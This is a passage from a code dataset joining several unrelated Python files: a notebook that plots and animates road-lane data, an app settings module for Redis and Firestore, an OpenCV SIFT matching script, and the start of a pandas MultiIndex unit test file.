coord)].iloc[t]\n right = data[id][get_header('right', coord)].iloc[t]\n else:\n left = data[id][get_header('left', coord)]\n right = data[id][get_header('right', coord)]\n if downsample is not None:\n left = [a[::downsample] for a in left]\n right = [a[::downsample] for a in right]\n left = np.vstack(left)\n right = np.vstack(right)\n # Smoothing\n if smooth:\n left = signal.savgol_filter(left, window_length=401, polyorder=3, deriv=0, axis=0)\n right = signal.savgol_filter(right, window_length=401, polyorder=3, deriv=0, axis=0)\n left = filter_by_x(left, xmin, xmax)\n right = filter_by_x(right, xmin, xmax)\n ax = axes[id]\n ax.scatter(left[:, 0], left[:, 1], s=marker_size)\n ax.scatter(right[:, 0], right[:, 1], s=marker_size)\n ax.set_title('Lane {}'.format(id + 1))\n ax.set_xlabel('{}_X'.format(coord))\n ax.set_ylabel('{}_Y'.format(coord))\n plt.tight_layout()\n suffix = ''\n if downsample is not None:\n suffix = '_downsample_{}'.format(downsample)\n fig.savefig(os.path.join(save_dir, 'lane_{}{}.png'.format(coord, suffix)))\n \ndef plot_road(data, coord, xmin=None, xmax=None, t=None, marker_size=5, save_dir=output_dir, downsample=None, smooth=False):\n fig = plt.figure(figsize=(20, 5))\n colors = ['orange', 'cornflowerblue', 'red', 'green', 'yellow', 'magenta', 'cyan', 'forestgreen', 'gold', 'hotpink']\n for id, ld in enumerate(ld_list):\n clear_output(wait=True)\n display('Plotting data for lane {}/{}'.format(id, len(ld_list) - 1))\n if t is not None:\n left = data[id][get_header('left', coord)].iloc[t]\n right = data[id][get_header('right', coord)].iloc[t]\n else:\n left = data[id][get_header('left', coord)]\n right = data[id][get_header('right', coord)]\n if downsample is not None:\n left = [a[::downsample] for a in left]\n right = [a[::downsample] for a in right]\n left = np.vstack(left)\n right = np.vstack(right)\n # Smoothing\n if smooth:\n left = signal.savgol_filter(left, window_length=401, polyorder=3, deriv=0, axis=0)\n right = signal.savgol_filter(right, window_length=401, polyorder=3, deriv=0, axis=0)\n left = filter_by_x(left, xmin, xmax)\n right = filter_by_x(right, xmin, xmax)\n # Plot samples acoording to the order in which they are sampled (i.e. w.r.t to x-distance from (x0, c0))\n# for i in range(4):\n# plt.scatter(left[i::10, 0], left[i::10, 1], s=marker_size, c=colors[i])\n# plt.scatter(right[i::10, 0], right[i::10, 1], s=marker_size, c=colors[i])\n plt.scatter(left[:, 0], left[:, 1], s=marker_size, c=colors[id])\n plt.scatter(right[:, 0], right[:, 1], s=marker_size, c=colors[id])\n plt.title('Overlayed {} Lanes'.format(len(ld_list)))\n plt.xlabel('{}_X'.format(coord))\n plt.ylabel('{}_Y'.format(coord))\n plt.tight_layout()\n suffix = ''\n if downsample is not None:\n suffix = '_downsample_{}'.format(downsample)\n plt.savefig(os.path.join(save_dir, 'road_{}{}.png'.format(coord, suffix)))\n \n return fig\n\ndef plot_vertical_span(intervals, alpha=1.0):\n for pre, post in intervals:\n if abs(post-pre) < 1:\n plt.axvline(x=pre, alpha=alpha)\n else:\n # This will only plot if abs(xmax-xmin) is greater than lowest precision for plotting\n plt.axvspan(xmin=pre, xmax=post, alpha=alpha)\n\n\n# #### Single lane\n\n# In[42]:\n\n\nplot_lane(data=ld_list, id=0, coord='global', xmin=464600, xmax=464700, marker_size=1)\nplt.show()\n\n\n# In[43]:\n\n\n# Smoothed lane\nplot_lane(data=ld_list, id=0, coord='global', xmin=464600, xmax=464700, marker_size=1, smooth=True)\nplt.show()\n\n\n# #### Separate lanes\n\n# In[44]:\n\n\nplot_lanes(data=ld_list, coord='global', xmin=464600, xmax=464700, marker_size=1)\nplt.show()\n\n\n# #### Lanes superimposed\n\n# In[45]:\n\n\n# Noticeable lane shift at x=[464300, 464500]\nplot_road(data=ld_list, coord='global', xmin=464300, xmax=464500, marker_size=5, smooth=True);\nplt.show()\n\n\n# In[46]:\n\n\nplot_road(data=ld_list, coord='global', marker_size=0.1, smooth=True);\nlane_shift_index_list, lane_shift_pos_interval = find_lane_shift_interval(ld_list[0], threshold=3, window=5) # threshold=3 and window=5 work well\nplot_vertical_span(lane_shift_pos_interval)\nplt.show()\n\n\n# #### Separate lanes at given time\n\n# In[24]:\n\n\nplot_lanes(data=ld_list, coord='local', t=10000, marker_size=50)\nplt.show()\n\n\n# #### Lanes superimposed at given time\n\n# In[25]:\n\n\nplot_road(data=ld_list, coord='local', t=10000, marker_size=50);\nplt.show()\n\n\n# In[26]:\n\n\nplot_road(data=ld_list, coord='global', t=10000, marker_size=50);\n\nplt.show()\n\n\n# ### Animated Lane Plots\n\n# In[27]:\n\n\ndef get_window(data, coord, idx, type='sliding'):\n samples_list = []\n for ld in data:\n if type == 'sliding':\n left = ld[get_header('left', coord)].iloc[idx]\n right = ld[get_header('right', coord)].iloc[idx]\n elif type == 'containing':\n left = ld[get_header('left', coord)].iloc[idx[0]:idx[1]] if idx[0] != idx[1] else ld[get_header('left', coord)].iloc[idx[0]]\n right = ld[get_header('right', coord)].iloc[idx[0]:idx[1]] if idx[0] != idx[1] else ld[get_header('right', coord)].iloc[idx[0]]\n left = np.vstack(left)\n right = np.vstack(right)\n else:\n print('Unsupported window type: {}'.format(type))\n samples_list.append(left)\n samples_list.append(right)\n samples_list = np.vstack(samples_list)\n min = np.min(samples_list, axis=0)\n max = np.max(samples_list, axis=0)\n xmin = min[0]\n xmax = max[0]\n ymin = min[1]\n ymax = max[1]\n \n return xmin, xmax, ymin, ymax\n\ndef swap_column(a):\n a.T[[1, 0]] = a.T[[0, 1]]\n \n return a\n\ndef animate_road(data, coord, frames=100, interval=50, downsample=None,\n window=None, window_type='sliding', hold=False, plot_type='line', marker_size=5,\n save_dir=output_dir, save_fps=20, return_video=False):\n \"\"\"\n @param frame: integer, list, tuple\n when frame is integer it will be treated as range(frames)\n when frame is tuple (a, b), it will be treated as list(range(a, b))\n when frame is tuple (a, b, c, ..., n), it will be treated as list(frames)\n @param interval: interval in ms between consecutive frames of HTML5 video, default is 50, corresponding to a frame rate of 20Hz\n @output anim: animation instance\n @output video(optional): if return_video=True, the function will return video as a HTML5 video tag\n \"\"\"\n colors = ['orange', 'cornflowerblue', 'red']\n fig = plt.figure(figsize=(10, 5))\n if coord == 'local':\n ax = plt.axes(xlim=(0, 50), ylim=(-10, 10))\n elif coord == 'global':\n ax = plt.gca()\n plt.xlabel('{}_X'.format(coord))\n plt.ylabel('{}_Y'.format(coord))\n title_base = 'Overlayed {} Lanes, frame '.format(len(data))\n title = plt.title(title_base + '0')\n# title = ax.text(0, 1.05, '', transform = ax.transAxes, va='center')\n plots = []\n for idx, ld in enumerate(data):\n if plot_type == 'line':\n plots.append(ax.plot([], [], c=colors[idx], marker='o')[0])\n plots.append(ax.plot([], [], c=colors[idx], marker='o')[0])\n elif plot_type == 'scatter':\n plots.append(ax.scatter([], [], s=marker_size, c=colors[idx]))\n plots.append(ax.scatter([], [], s=marker_size, c=colors[idx]))\n else:\n print('Unsupported plot type: {}'.format(plot_type))\n return\n \n def init():\n for plot in plots:\n if plot_type == 'line':\n plot.set_data([], [])\n elif plot_type == 'scatter':\n plot.set_offsets([])\n else:\n print('Unsupported plot type: {}'.format(plot_type))\n return\n title.set_text(title_base + '0')\n return plots\n\n # convert frames to list to unify pipeline below\n num_iter = 0\n if isinstance(frames, int):\n frames = list(range(frames))\n elif isinstance(frames, tuple):\n if len(frames) == 2:\n frames = list(range(frames[0], frames[-1]))\n else:\n frames = list(frames)\n else:\n print('Unsupported input type for frame: {}'.format(type(frames)))\n return\n num_iter = len(frames)\n \n def animate(t):\n # intialize\n if t == 0:\n animate.counter = 0\n start = timer()\n # update data\n for idx, ld in enumerate(data):\n if hold == False:\n left = data[idx][get_header('left', coord)].iloc[t]\n right = data[idx][get_header('right', coord)].iloc[t]\n else:\n left = data[idx][get_header('left', coord)].iloc[frames[0]:t] if frames[0] != t else data[idx][get_header('left', coord)].iloc[t]\n right = data[idx][get_header('right', coord)].iloc[frames[0]:t] if frames[0] != t else data[idx][get_header('right', coord)].iloc[t]\n if downsample is not None:\n left = [a[::downsample] for a in left]\n right = [a[::downsample] for a in right]\n left = np.vstack(left)\n right = np.vstack(right)\n if plot_type == 'line':\n plots[idx * 2].set_data(left[:, 0], left[:, 1])\n plots[idx * 2 + 1].set_data(right[:, 0], right[:, 1])\n elif plot_type == 'scatter':\n plots[idx * 2].set_offsets(left)\n plots[idx * 2 + 1].set_offsets(right)\n title.set_text(title_base + str(t))\n # Set axes limits for global lanes\n if coord == 'global':\n if window is None:\n if window_type == 'sliding':\n xmin, xmax, ymin, ymax = get_window(data, coord=coord, type=window_type, idx=t)\n elif window_type == 'containing':\n xmin, xmax, ymin, ymax = get_window(data, coord=coord, type=window_type, idx=(frames[0], t))\n else:\n print('Unsupported window type: {}'.format(window_type))\n else:\n xmin, xmax, ymin, ymax = window\n ax.set_xlim((xmin - 5, xmax + 5))\n ax.set_ylim((ymin - 5, ymax + 5))\n # Update counter\n animate.counter += 1\n clear_output(wait=True)\n num_left = 0\n eta = (num_iter - animate.counter) / animate.counter * (timer() - animate.start)\n display('Generating frame {} / {} frames, ETA: {:.1f}s'.format(animate.counter, num_iter, eta))\n return plots\n \n def init_animate():\n animate.counter = 0\n animate.start = timer()\n\n anim = animation.FuncAnimation(fig, animate, init_func=init, frames=frames, interval=interval, blit=True)\n plt.close()\n\n # Save video\n suffix = ''\n if len(frames) == 1:\n suffix = '{}_{}'.format(plot_type, str(frames))\n elif len(frames) > 1:\n suffix = '{}_{}_{}'.format(plot_type, frames[0], frames[-1])\n output_path = os.path.join(output_dir, 'road_{}_animation_{}.mp4'.format(coord, suffix))\n print('Saving animation to {}'.format(output_path))\n init_animate()\n anim.save(filename=output_path, fps=save_fps)\n \n # Output animation instance as HTML5 video tag\n if return_video:\n print('Generating HTML5 video')\n init_animate()\n video = HTML(anim.to_html5_video()) # this is equivalent to rc('animation', html='html5') and then call anim\n return anim, video\n else:\n anim\n\n\n# #### Local 50 frames (for debugging)\n\n# In[33]:\n\n\n# al1, vl1 = animate_road(data=ld_list, coord='local', frames=(500, 550), interval=50, return_video=True)\n\n\n# In[34]:\n\n\n# vl1\n\n\n# #### All frames\n\n# In[ ]:\n\n\n# almax, vlmax = animate_road(data=ld_list, coord='local', frames=len(ld_list[0]), interval=50) # Assumed that lane data in ld_list has same lengths\n\n\n# #### Global 50 frames (local window, for debugging)\n\n# In[35]:\n\n\n# ag1, vg1 = animate_road(data=ld_list, coord='global', frames=(500, 550), interval=50, return_video=True)\n\n\n# In[36]:\n\n\n# vg1\n\n\n# #### All frames\n\n# In[225]:\n\n\n# Might need to increase size limit on embedding video\n# plt.rcParams['animation.embed_limit'] = 25e6\n# agmax = animate_road(data=ld_list, coord='global', frames=len(ld_list[0]), interval=50) # Assumed that lane data in ld_list has same lengths\n\n\n# #### 50 frames (global window, for debugging)\n\n# In[97]:\n\n\n# ags1, vgs1 = animate_road(data=ld_list, coord='global', frames=(500, 550), interval=50,\n# window=(4.6112e5, 4.6115e5, 4.43214e6, 4.43217e6), hold=True, plot_type='scatter', marker_size=0.1,\n# return_video=True)\n\n\n# In[98]:\n\n\n# vgs1\n\n\n# #### 1500 frames (global window)\n\n# In[173]:\n\n\n# ags2 = animate_road(data=ld_list, coord='global', frames=(1500, 3000), interval=50,\n# window=(4.611e5, 4.616e5, 4.4321e6, 4.4322e6), hold=True, plot_type='scatter', marker_size=0.1,\n# return_video=False)\n\n\n# #### All frames (local window)\n\n# In[187]:\n\n\n# agsmax = animate_road(data=ld_list, coord='global', frames=len(ld_list[0]), interval=50,\n# hold=True, plot_type='scatter', marker_size=0.1,\n# return_video=False)\n\n# key_frames = list(np.linspace(0, len(ld_list[0]) - 1, 50).astype(int))\n# slices = list(zip(key_frames[:-1], key_frames[1:]))\n# for slice in slices:\n# agsmax = animate_road(data=ld_list, coord='global', frames=slice, interval=50,\n# hold=True, plot_type='scatter', marker_size=0.1, downsample=10,\n# return_video=False)","sub_path":"data/analyze_holo_data.py","file_name":"analyze_holo_data.py","file_ext":"py","file_size_in_byte":36729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"62760672","text":"import logging\nimport dotenv\nimport os\n\nfrom pathlib import Path\nfrom app import helpers\n\ndotenv_path = Path(__file__).parent.parent.parent / '.env'\ndotenv.load_dotenv(dotenv_path)\n\n\n# Config values\nAPP_NAME = os.environ.get('APP_NAME', default='bits')\nAPP_ENV = os.environ.get('APP_ENV', default='production')\nAPP_DEBUG = helpers.to_bool(os.environ.get('APP_DEBUG'))\nLOG_LVL = logging.getLevelName(os.environ['LOG_LVL'])\n\nREDIS_HOST = os.environ['REDIS_HOST']\nREDIS_PORT = os.environ['REDIS_PORT']\nREDIS_PASSWORD = os.environ['REDIS_PASSWORD']\n\n# non production environments\nif APP_ENV in ['development', 'test']:\n # in production, project id is inferred from credentials\n FIRESTORE_PROJECT_ID = os.environ.get('FIRESTORE_PROJECT_ID', default='bits')\n __emulator_host_env = 'FIRESTORE_EMULATOR_HOST'\n if __emulator_host_env not in os.environ:\n os.environ[__emulator_host_env] = 'localhost:8081'\n\n# Logging config\nlogging.basicConfig(level=LOG_LVL, \n format='%(asctime)s| %(levelname)-8s| %(name)s - %(message)s')\n","sub_path":"backend/app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"550496546","text":"import os\nimport cv2\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n# Set the working directory to be the current one\nos.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n# Load gray images\nimg1 = cv2.imread('box.png', 0) # queryImage\nimg2 = cv2.imread('box_in_scene.png', 0) # trainImage\n\n# SIFT\nsift = cv2.xfeatures2d.SIFT_create()\nkeypoints1, descriptors1 = sift.detectAndCompute(img1, None)\nkeypoints2, descriptors2 = sift.detectAndCompute(img2, None)\n\n# Brute-Force matching\nbf = cv2.BFMatcher()\nmatches = bf.knnMatch(descriptors1, descriptors2, k=2)\n\n# Apply ratio test\ngood = []\nfor m,n in matches:\n if m.distance < 0.75*n.distance:\n good.append([m])\n\n# cv2.drawMatchesKnn expects list of lists as matches.\nimg3 = cv2.drawMatchesKnn(img1, keypoints1, img2, keypoints2, good, None, flags=2)\n\nplt.imshow(img3)\nplt.title('SIFT Features + Brute-Force Matching (knn)')\nplt.xticks([]), plt.yticks([])\nplt.show()","sub_path":"17_feature_matching/02_sift_brute_force_matching_knn.py","file_name":"02_sift_brute_force_matching_knn.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"405500663","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import timedelta\nfrom itertools import product\nimport nose\nimport re\nimport warnings\n\nfrom pandas import (date_range, MultiIndex, Index, CategoricalIndex,\n compat)\nfrom pandas.core.common import PerformanceWarning\nfrom pandas.indexes.base import InvalidIndexError\nfrom pandas.compat import range, lrange, u, PY3, long, lzip\n\nimport numpy as np\n\nfrom pandas.util.testing import (assert_almost_equal, assertRaisesRegexp,\n assert_copy)\n\nimport pandas.util.testing as tm\n\nimport pandas as pd\nfrom pandas.lib import Timestamp\n\nfrom .common import Base\n\n\nclass TestMultiIndex(Base, tm.TestCase):\n _holder = MultiIndex\n _multiprocess_can_split_ = True\n _compat_props = ['shape', 'ndim', 'size', 'itemsize']\n\n def setUp(self):\n major_axis = Index(['foo', 'bar', 'baz', 'qux'])\n minor_axis = Index(['one', 'two'])\n\n major_labels = np.array([0, 0, 1, 2, 3, 3])\n minor_labels = np.array([0, 1, 0, 1, 0, 1])\n self.index_names = ['first', 'second']\n self.indices = dict(index=MultiIndex(levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels\n ], names=self.index_names,\n verify_integrity=False))\n self.setup_indices()\n\n def create_index(self):\n return self.index\n\n def test_boolean_context_compat2(self):\n\n # boolean context compat\n # GH7897\n i1 = MultiIndex.from_tuples([('A', 1), ('A', 2)])\n i2 = MultiIndex.from_tuples([('A', 1), ('A', 3)])\n common = i1.intersection(i2)\n\n def f():\n if common:\n pass\n\n tm.assertRaisesRegexp(ValueError, 'The truth value of a', f)\n\n def test_labels_dtypes(self):\n\n # GH 8456\n i = MultiIndex.from_tuples([('A', 1), ('A', 2)])\n self.assertTrue(i.labels[0].dtype == 'int8')\n self.assertTrue(i.labels[1].dtype == 'int8')\n\n i = MultiIndex.from_product([['a'], range(40)])\n self.assertTrue(i.labels[1].dtype == 'int8')\n i = MultiIndex.from_product([['a'], range(400)])\n self.assertTrue(i.labels[1].dtype == 'int16')\n i = MultiIndex.from_product([['a'], range(40000)])\n self.assertTrue(i.labels[1].dtype == 'int32')\n\n i = pd.MultiIndex.from_product([['a'], range(1000)])\n self.assertTrue((i.labels[0] >= 0).all())\n self.assertTrue((i.labels[1] >= 0).all())\n\n def test_set_name_methods(self):\n # so long as these are synonyms, we don't need to test set_names\n self.assertEqual(self.index.rename, self.index.set_names)\n new_names = [name + \"SUFFIX\" for name in self.index_names]\n ind = self.index.set_names(new_names)\n self.assertEqual(self.index.names, self.index_names)\n self.assertEqual(ind.names, new_names)\n with assertRaisesRegexp(ValueError, \"^Length\"):\n ind.set_names(new_names + new_names)\n new_names2 = [name + \"SUFFIX2\" for name in new_names]\n res = ind.set_names(new_names2, inplace=True)\n self.assertIsNone(res)\n self.assertEqual(ind.names, new_names2)\n\n # set names for specific level (# GH7792)\n ind = self.index.set_names(new_names[0], level=0)\n self.assertEqual(self.index.names, self.index_names)\n self.assertEqual(ind.names, [new_names[0], self.index_names[1]])\n\n res = ind.set_names(new_names2[0], level=0, inplace=True)\n self.assertIsNone(res)\n self.assertEqual(ind.names, [new_names2[0], self.index_names[1]])\n\n # set names for multiple levels\n ind = self.index.set_names(new_names, level=[0, 1])\n self.assertEqual(self.index.names, self.index_names)\n self.assertEqual(ind.names, new_names)\n\n res = ind.set_names(new_names2, level=[0, 1], inplace=True)\n self.assertIsNone(res)\n self.assertEqual(ind.names, new_names2)\n\n def test_set_levels(self):\n # side note - you probably wouldn't want to use levels and labels\n # directly like this - but it is possible.\n levels = self.index.levels\n new_levels = [[lev + 'a' for lev in level] for level in levels]\n\n def assert_matching(actual, expected):\n # avoid specifying internal representation\n # as much as possible\n self.assertEqual(len(actual), len(expected))\n for act, exp in zip(actual, expected):\n act = np.asarray(act)\n exp = np.asarray(exp)\n assert_almost_equal(act, exp)\n\n # level changing [w/o mutation]\n ind2 = self.index.set_levels(new_levels)\n assert_matching(ind2.levels, new_levels)\n assert_matching(self.index.levels, levels)\n\n # level changing [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_levels(new_levels, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.levels, new_levels)\n\n # level changing specific level [w/o mutation]\n ind2 = self.index.set_levels(new_levels[0], level=0)\n assert_matching(ind2.levels, [new_levels[0], levels[1]])\n assert_matching(self.index.levels, levels)\n\n ind2 = self.index.set_levels(new_levels[1], level=1)\n assert_matching(ind2.levels, [levels[0], new_levels[1]])\n assert_matching(self.index.levels, levels)\n\n # level changing multiple levels [w/o mutation]\n ind2 = self.index.set_levels(new_levels, level=[0, 1])\n assert_matching(ind2.levels, new_levels)\n assert_matching(self.index.levels, levels)\n\n # level changing specific level [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_levels(new_levels[0], level=0, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.levels, [new_levels[0], levels[1]])\n assert_matching(self.index.levels, levels)\n\n ind2 = self.index.copy()\n inplace_return = ind2.set_levels(new_levels[1], level=1, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.levels, [levels[0], new_levels[1]])\n assert_matching(self.index.levels, levels)\n\n # level changing multiple levels [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_levels(new_levels, level=[0, 1],\n inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.levels, new_levels)\n assert_matching(self.index.levels, levels)\n\n def test_set_labels(self):\n # side note - you probably wouldn't want to use levels and labels\n # directly like this - but it is possible.\n labels = self.index.labels\n major_labels, minor_labels = labels\n major_labels = [(x + 1) % 3 for x in major_labels]\n minor_labels = [(x + 1) % 1 for x in minor_labels]\n new_labels = [major_labels, minor_labels]\n\n def assert_matching(actual, expected):\n # avoid specifying internal representation\n # as much as possible\n self.assertEqual(len(actual), len(expected))\n for act, exp in zip(actual, expected):\n act = np.asarray(act)\n exp = np.asarray(exp)\n assert_almost_equal(act, exp)\n\n # label changing [w/o mutation]\n ind2 = self.index.set_labels(new_labels)\n assert_matching(ind2.labels, new_labels)\n assert_matching(self.index.labels, labels)\n\n # label changing [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_labels(new_labels, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.labels, new_labels)\n\n # label changing specific level [w/o mutation]\n ind2 = self.index.set_labels(new_labels[0], level=0)\n assert_matching(ind2.labels, [new_labels[0], labels[1]])\n assert_matching(self.index.labels, labels)\n\n ind2 = self.index.set_labels(new_labels[1], level=1)\n assert_matching(ind2.labels, [labels[0], new_labels[1]])\n assert_matching(self.index.labels, labels)\n\n # label changing multiple levels [w/o mutation]\n ind2 = self.index.set_labels(new_labels, level=[0, 1])\n assert_matching(ind2.labels, new_labels)\n assert_matching(self.index.labels, labels)\n\n # label changing specific level [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_labels(new_labels[0], level=0, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.labels, [new_labels[0], labels[1]])\n assert_matching(self.index.labels, labels)\n\n ind2 = self.index.copy()\n inplace_return = ind2.set_labels(new_labels[1], level=1, inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.labels, [labels[0], new_labels[1]])\n assert_matching(self.index.labels, labels)\n\n # label changing multiple levels [w/ mutation]\n ind2 = self.index.copy()\n inplace_return = ind2.set_labels(new_labels, level=[0, 1],\n inplace=True)\n self.assertIsNone(inplace_return)\n assert_matching(ind2.labels, new_labels)\n assert_matching(self.index.labels, labels)\n\n def test_set_levels_labels_names_bad_input(self):\n levels, labels = self.index.levels, self.index.labels\n names = self.index.names\n\n with tm.assertRaisesRegexp(ValueError, 'Length of levels'):\n self.index.set_levels([levels[0]])\n\n with tm.assertRaisesRegexp(ValueError, 'Length of labels'):\n self.index.set_labels([labels[0]])\n\n with tm.assertRaisesRegexp(ValueError, 'Length of names'):\n self.index.set_names([names[0]])\n\n # shouldn't scalar data error, instead should demand list-like\n with tm.assertRaisesRegexp(TypeError, 'list of lists-like'):\n self.index.set_levels(levels[0])\n\n # shouldn't scalar data error, instead should demand list-like\n with tm.assertRaisesRegexp(TypeError, 'list of lists-like'):\n self.index.set_labels(labels[0])\n\n # shouldn't scalar data error, instead should demand list-like\n with tm.assertRaisesRegexp(TypeError, 'list-like'):\n self.index.set_names(names[0])\n\n # should have equal lengths\n with tm.assertRaisesRegexp(TypeError, 'list of lists-like'):\n self.index.set_levels(levels[0], level=[0, 1])\n\n with tm.assertRaisesRegexp(TypeError, 'list-like'):\n self.index.set_levels(levels, level=0)\n\n # should have equal lengths\n with tm.assertRaisesRegexp(TypeError, 'list of lists-like'):\n self.index.set_labels(labels[0], level=[0, 1])\n\n with tm.assertRaisesRegexp(TypeError, 'list-like'):\n self.index.set_labels(labels, level=0)\n\n # should have equal lengths\n with tm.assertRaisesRegexp(ValueError, 'Length of names'):\n self.index.set_names(names[0], level=[0, 1])\n\n with tm.assertRaisesRegexp(TypeError, 'string'):\n self.index.set_names(names, level=0)\n\n def test_metadata_immutable(self):\n levels, labels = self.index.levels, self.index.labels\n # shouldn't be able to set at either the top level or base level\n mutable_regex = re.compile('does not support mutable operations')\n with assertRaisesRegexp(TypeError, mutable_regex):\n levels[0] = levels[0]\n with assertRaisesRegexp(TypeError, mutable_regex):\n levels[0][0] = levels[0][0]\n # ditto for labels\n with assertRaisesRegexp(TypeError, mutable_regex):\n labels[0] = labels[0]\n with assertRaisesRegexp(TypeError, mutable_regex):\n labels[0][0] = labels[0][0]\n # and for names\n names = self.index.names\n with assertRaisesRegexp(TypeError, mutable_regex):\n names[0] = names[0]\n\n def test_inplace_mutation_resets_values(self):\n levels = [['a', 'b', 'c'], [4]]\n levels2 = [[1, 2, 3], ['a']]\n labels = [[0, 1, 0, 2, 2, 0], [0, 0, 0, 0, 0, 0]]\n mi1 = MultiIndex(levels=levels, labels=labels)\n mi2 = MultiIndex(levels=levels2, labels=labels)\n vals = mi1.values.copy()\n vals2 = mi2.values.copy()\n self.assertIsNotNone(mi1._tuples)\n\n # make sure level setting works\n new_vals = mi1.set_levels(levels2).values\n assert_almost_equal(vals2, new_vals)\n # non-inplace doesn't kill _tuples [implementation detail]\n assert_almost_equal(mi1._tuples, vals)\n # and values is still same too\n assert_almost_equal(mi1.values, vals)\n\n # inplace should kill _tuples\n mi1.set_levels(levels2, inplace=True)\n assert_almost_equal(mi1.values, vals2)\n\n # make sure label setting works too\n labels2 = [[0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0]]\n exp_values = np.empty((6, ), dtype=object)\n exp_values[:] = [(long(1), 'a')] * 6\n # must be 1d array of tuples\n self.assertEqual(exp_values.shape, (6, ))\n new_values = mi2.set_labels(labels2).values\n # not inplace shouldn't change\n assert_almost_equal(mi2._tuples, vals2)\n # should have correct values\n assert_almost_equal(exp_values, new_values)\n\n # and again setting inplace should kill _tuples, etc\n mi2.set_labels(labels2, inplace=True)\n assert_almost_equal(mi2.values, new_values)\n\n def test_copy_in_constructor(self):\n levels = np.array([\"a\", \"b\", \"c\"])\n labels = np.array([1, 1, 2, 0, 0, 1, 1])\n val = labels[0]\n mi = MultiIndex(levels=[levels, levels], labels=[labels, labels],\n copy=True)\n self.assertEqual(mi.labels[0][0], val)\n labels[0] = 15\n self.assertEqual(mi.labels[0][0], val)\n val = levels[0]\n levels[0] = \"PANDA\"\n self.assertEqual(mi.levels[0][0], val)\n\n def test_set_value_keeps_names(self):\n # motivating example from #3742\n lev1 = ['hans', 'hans', 'hans', 'grethe', 'grethe', 'grethe']\n lev2 = ['1', '2', '3'] * 2\n idx = pd.MultiIndex.from_arrays([lev1, lev2], names=['Name', 'Number'])\n df = pd.DataFrame(\n np.random.randn(6, 4),\n columns=['one', 'two', 'three', 'four'],\n index=idx)\n df = df.sortlevel()\n self.assertIsNone(df.is_copy)\n self.assertEqual(df.index.names, ('Name', 'Number'))\n df = df.set_value(('grethe', '4'), 'one', 99.34)\n self.assertIsNone(df.is_copy)\n self.assertEqual(df.index.names, ('Name', 'Number'))\n\n def test_names(self):\n\n # names are assigned in __init__\n names = self.index_names\n level_names = [level.name for level in self.index.levels]\n self.assertEqual(names, level_names)\n\n # setting bad names on existing\n index = self.index\n assertRaisesRegexp(ValueError, \"^Length of names\", setattr, index,\n \"names\", list(index.names) + [\"third\"])\n assertRaisesRegexp(ValueError, \"^Length of names\", setattr, index,\n \"names\", [])\n\n # initializing with bad names (should always be equivalent)\n major_axis, minor_axis = self.index.levels\n major_labels, minor_labels = self.index.labels\n assertRaisesRegexp(ValueError, \"^Length of names\", MultiIndex,\n levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels],\n names=['first'])\n assertRaisesRegexp(ValueError, \"^Length of names\", MultiIndex,\n levels=[major_axis, minor_axis],\n labels=[major_labels, minor_labels],\n names=['first', 'second', 'third'])\n\n # names are assigned\n index.names = [\"a\", \"b\"]\n ind_names = list(index.names)\n level_names = [level.name for level in index.levels]\n self.assertEqual(ind_names, level_names)\n\n def test_reference_duplicate_name(self):\n idx = MultiIndex.from_tuples(\n [('a', 'b'), ('c', 'd')], names=['x', 'x'])\n self.assertTrue(idx._reference_duplicate_name('x'))\n\n idx = MultiIndex.from_tuples(\n [('a', 'b'), ('c', 'd')], names=['x', 'y'])\n self.assertFalse(idx._reference_duplicate_name('x'))\n\n def test_astype(self):\n expected = self.index.copy()\n actual = self.index.astype('O')\n assert_copy(actual.levels, expected.levels)\n assert_copy(actual.labels, expected.labels)\n self.check_level_names(actual, expected.names)\n\n with assertRaisesRegexp(TypeError, \"^Setting.*dtype.*object\"):\n self.index.astype(np.dtype(int))\n\n def test_constructor_single_level(self):\n single_level = MultiIndex(levels=[['foo', 'bar', 'baz', 'qux']],\n labels=[[0, 1, 2, 3]], names=['first'])\n tm.assertIsInstance(single_level, Index)\n self.assertNotIsInstance(single_level, MultiIndex)\n self.assertEqual(single_level.name, 'first')\n\n single_level = MultiIndex(levels=[['foo', 'bar', 'baz', 'qux']],\n labels=[[0, 1, 2, 3]])\n self.assertIsNone(single_level.name)\n\n def test_constructor_no_levels(self):\n assertRaisesRegexp(ValueError, \"non-zero number of levels/labels\",\n MultiIndex, levels=[], labels=[])\n both_re = re.compile('Must pass both levels and labels')\n with tm.assertRaisesRegexp(TypeError, both_re):\n MultiIndex(levels=[])\n with tm.assertRaisesRegexp(TypeError, both_re):\n MultiIndex(labels=[])\n\n def test_constructor_mismatched_label_levels(self):\n labels = [np.array([1]), np.array([2]), np.array([3])]\n levels = [\"a\"]\n assertRaisesRegexp(ValueError, \"Length of levels and labels must be\"\n \" the same\", MultiIndex, levels=levels,\n labels=labels)\n length_error = re.compile('>= length of level')\n label_error = re.compile(r'Unequal label lengths: \\[4, 2\\]')\n\n # important to check that it's looking at the right thing.\n with tm.assertRaisesRegexp(ValueError, length_error):\n MultiIndex(levels=[['a'], ['b']],\n labels=[[0, 1, 2, 3], [0, 3, 4, 1]])\n\n with tm.assertRaisesRegexp(ValueError, label_error):\n MultiIndex(levels=[['a'], ['b']], labels=[[0, 0, 0, 0], 